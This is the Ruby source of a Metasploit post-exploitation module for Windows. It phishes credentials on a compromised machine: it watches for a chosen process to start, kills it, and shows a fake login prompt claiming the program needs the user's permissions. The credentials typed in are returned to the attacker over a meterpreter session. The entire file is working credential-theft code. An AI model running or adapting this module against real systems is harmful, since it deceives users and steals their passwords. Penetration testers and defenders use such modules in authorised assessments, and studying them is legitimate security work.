Windows Gather User Credentials (phishing)

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post
  include Msf::Post::Windows::Registry
  include Msf::Post::Windows::Powershell

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Windows Gather User Credentials (phishing)',
        'Description' => %q{
          This module is able to perform a phishing attack on the target by popping up a loginprompt.
          When the user fills credentials in the loginprompt, the credentials will be sent to the attacker.
          The module is able to monitor for new processes and popup a loginprompt when a specific process is starting. Tested on Windows 7.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Wesley Neelen <security[at]forsec.nl>', # Metasploit module, @wez3forsec on Twitter
          'Matt Nelson' # Original powershell script, @enigma0x3 on Twitter
        ],
        'References' => [ 'URL', 'https://forsec.nl/2015/02/windows-credentials-phishing-using-metasploit' ],
        'Platform' => [ 'win' ],
        'Arch' => [ ARCH_X86, ARCH_X64 ],
        'SessionTypes' => [ 'meterpreter' ],
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_railgun_api
              stdapi_sys_process_kill
            ]
          }
        }
      )
    )

    register_options(
      [
        OptString.new('PROCESS', [ false, 'Prompt if a specific process is started by the target. (e.g. calc.exe or specify * for all processes)' ]),
        OptString.new('DESCRIPTION', [ true, 'Message shown in the loginprompt', '{PROCESS_NAME} needs your permissions to start. Please enter user credentials']),
      ]
    )

    register_advanced_options(
      [
        OptInt.new('TIMEOUT', [true, 'The maximum time (in seconds) to wait for any Powershell scripts to complete', 120])
      ]
    )
  end

  # Function to run the InvokePrompt powershell script
  def execute_invokeprompt_script(description, process, path)
    base_script = File.read(File.join(Msf::Config.data_directory, 'post', 'powershell', 'Invoke-LoginPrompt.ps1'))
    if process.nil?
      sdescription = description.gsub('{PROCESS_NAME} needs your permissions to start. ', '')
      psh_script = base_script.gsub('R{DESCRIPTION}', sdescription.to_s) << 'Invoke-LoginPrompt'
    else
      sdescription = description.gsub('{PROCESS_NAME}', process)
      psh_script2 = base_script.gsub('R{DESCRIPTION}', sdescription.to_s) << 'Invoke-LoginPrompt'
      psh_script = psh_script2.gsub('R{START_PROCESS}', "start-process \"#{path}\"")
    end
    compressed_script = compress_script(psh_script)
    cmd_out, runnings_pids, open_channels = execute_script(compressed_script, datastore['TIMEOUT'])
    while (d = cmd_out.channel.read)
      print_good(d.to_s)
    end
  end

  # Function to monitor process creation
  def procmon(process, description)
    procs = []
    existingProcs = []
    detected = false
    first = true
    print_status('Monitoring new processes.')
    while detected == false
      sleep 1
      procs = client.sys.process.processes
      procs.each do |p|
        if (p['name'] == process) || (process == '*')
          if first == true
            print_status("#{p['name']} is already running. Waiting on new instances to start")
            existingProcs.push(p['pid'])
          elsif !existingProcs.include? p['pid']
            print_status("New process detected: #{p['pid']} #{p['name']}")
            killproc(p['name'], p['pid'], description, p['path'])
            detected = true
          end
        end
      end
      first = false
    end
  end

  # Function to kill the process
  def killproc(process, pid, description, path)
    print_status('Killing the process and starting the popup script. Waiting on the user to fill in his credentials...')
    client.sys.process.kill(pid)
    execute_invokeprompt_script(description, process, path)
  end

  # Main method
  def run
    process = datastore['PROCESS']
    description = datastore['DESCRIPTION']

    # Powershell installed check
    if have_powershell?
      print_good('PowerShell is installed.')
    else
      fail_with(Failure::Unknown, 'PowerShell is not installed')
    end

    # Check whether target system is locked
    locked = client.railgun.user32.GetForegroundWindow()['return']
    if locked == 0
      fail_with(Failure::Unknown, 'Target system is locked. This post module cannot start the loginprompt when the target system is locked.')
    end

    # Switch to check whether a specific process needs to be monitored, or just show the popup immediatly.
    case process
    when nil
      print_status('Starting the popup script. Waiting on the user to fill in his credentials...')
      execute_invokeprompt_script(description, nil, nil)
    else
      procmon(process, description)
    end
  end
end